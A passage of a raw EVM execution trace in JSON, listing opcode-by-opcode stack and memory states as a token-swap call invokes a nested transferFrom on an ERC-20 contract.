8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13726,"op":"DUP4","gas":95464,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x348","0x0","0x2e4","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13727,"op":"SUB","gas":95461,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x348","0x0","0x2e4","0x2e4","0x348"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13728,"op":"DUP2","gas":95458,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x348","0x0","0x2e4","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13729,"op":"DUP6","gas":95455,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x348","0x0","0x2e4","0x64","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13730,"op":"DUP8","gas":95452,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x348","0x0","0x2e4","0x64","0x2e4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13731,"op":"GAS","gas":95449,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x348","0x0","0x2e4","0x64","0x2e4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13732,"op":"CALL","gas":95447,"gasCost":93958,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x348","0x0","0x2e4","0x64","0x2e4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x174d7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":0,"op":"PUSH1","gas":93858,"gasCost":3,"depth":2,"stack":[],"memory":[]},{"pc":2,"op":"PUSH1","gas":93855,"gasCost":3,"depth":2,"stack":["0x80"],"memory":[]},{"pc":4,"op":"MSTORE","gas":93852,"gasCost":12,"depth":2,"stack":["0x80","0x40"],"memory":[]},{"pc":5,"op":"CALLVALUE","gas":93840,"gasCost":2,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6,"op":"DUP1","gas":93838,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7,"op":"ISZERO","gas":93835,"gasCost":3,"depth":2,"stack":["0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8,"op":"PUSH2","gas":93832,"gasCost":3,"depth":2,"stack":["0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11,"op":"JUMPI","gas":93829,"gasCost":10,"depth":2,"stack":["0x0","0x1","0x10"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":16,"op":"JUMPDEST","gas":93819,"gasCost":1,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":17,"op":"POP","gas":93818,"gasCost":2,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":18,"op":"PUSH1","gas":93816,"gasCost":3,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":20,"op":"CALLDATASIZE","gas":93813,"gasCost":2,"depth":2,"stack":["0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":21,"op":"LT","gas":93811,"gasCost":3,"depth":2,"stack":["0x4","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":22,"op":"PUSH2","gas":93808,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":25,"op":"JUMPI","gas":93805,"gasCost":10,"depth":2,"stack":["0x0","0x2ad"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":26,"op":"PUSH1","gas":93795,"gasCost":3,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":28,"op":"CALLDATALOAD","gas":93792,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":29,"op":"PUSH1","gas":93789,"gasCost":3,"depth":2,"stack":["0x23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":31,"op":"SHR","gas":93786,"gasCost":3,"depth":2,"stack":["0x23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":32,"op":"DUP1","gas":93783,"gasCost":3,"depth":2,"stack":["0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":33,"op":"PUSH4","gas":93780,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":38,"op":"GT","gas":93777,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x23b872dd","0x7eee288d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":39,"op":"PUSH2","gas":93774,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":42,"op":"JUMPI","gas":93771,"gasCost":10,"depth":2,"stack":["0x23b872dd","0x1","0x17b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":379,"op":"JUMPDEST","gas":93761,"gasCost":1,"depth":2,"stack":["0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":380,"op":"DUP1","gas":93760,"gasCost":3,"depth":2,"stack":["0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":381,"op":"PUSH4","gas":93757,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":386,"op":"GT","gas":93754,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x23b872dd","0x2472f5b0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":387,"op":"PUSH2","gas":93751,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":390,"op":"JUMPI","gas":93748,"gasCost":10,"depth":2,"stack":["0x23b872dd","0x1","0x229"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":553,"op":"JUMPDEST","gas":93738,"gasCost":1,"depth":2,"stack":["0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":554,"op":"DUP1","gas":93737,"gasCost":3,"depth":2,"stack":["0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":555,"op":"PUSH4","gas":93734,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":560,"op":"GT","gas":93731,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x23b872dd","0x9824a80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":561,"op":"PUSH2","gas":93728,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":564,"op":"JUMPI","gas":93725,"gasCost":10,"depth":2,"stack":["0x23b872dd","0x0","0x280"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":565,"op":"DUP1","gas":93715,"gasCost":3,"depth":2,"stack":["0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":566,"op":"PUSH4","gas":93712,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":571,"op":"GT","gas":93709,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x23b872dd","0x15b9672c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":572,"op":"PUSH2","gas":93706,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":575,"op":"JUMPI","gas":93703,"gasCost":10,"depth":2,"stack":["0x23b872dd","0x0","0x265"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":576,"op":"DUP1","gas":93693,"gasCost":3,"depth":2,"stack":["0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":577,"op":"PUSH4","gas":93690,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x23b872dd"],"memory":["0000000000000000000000000000000000000000000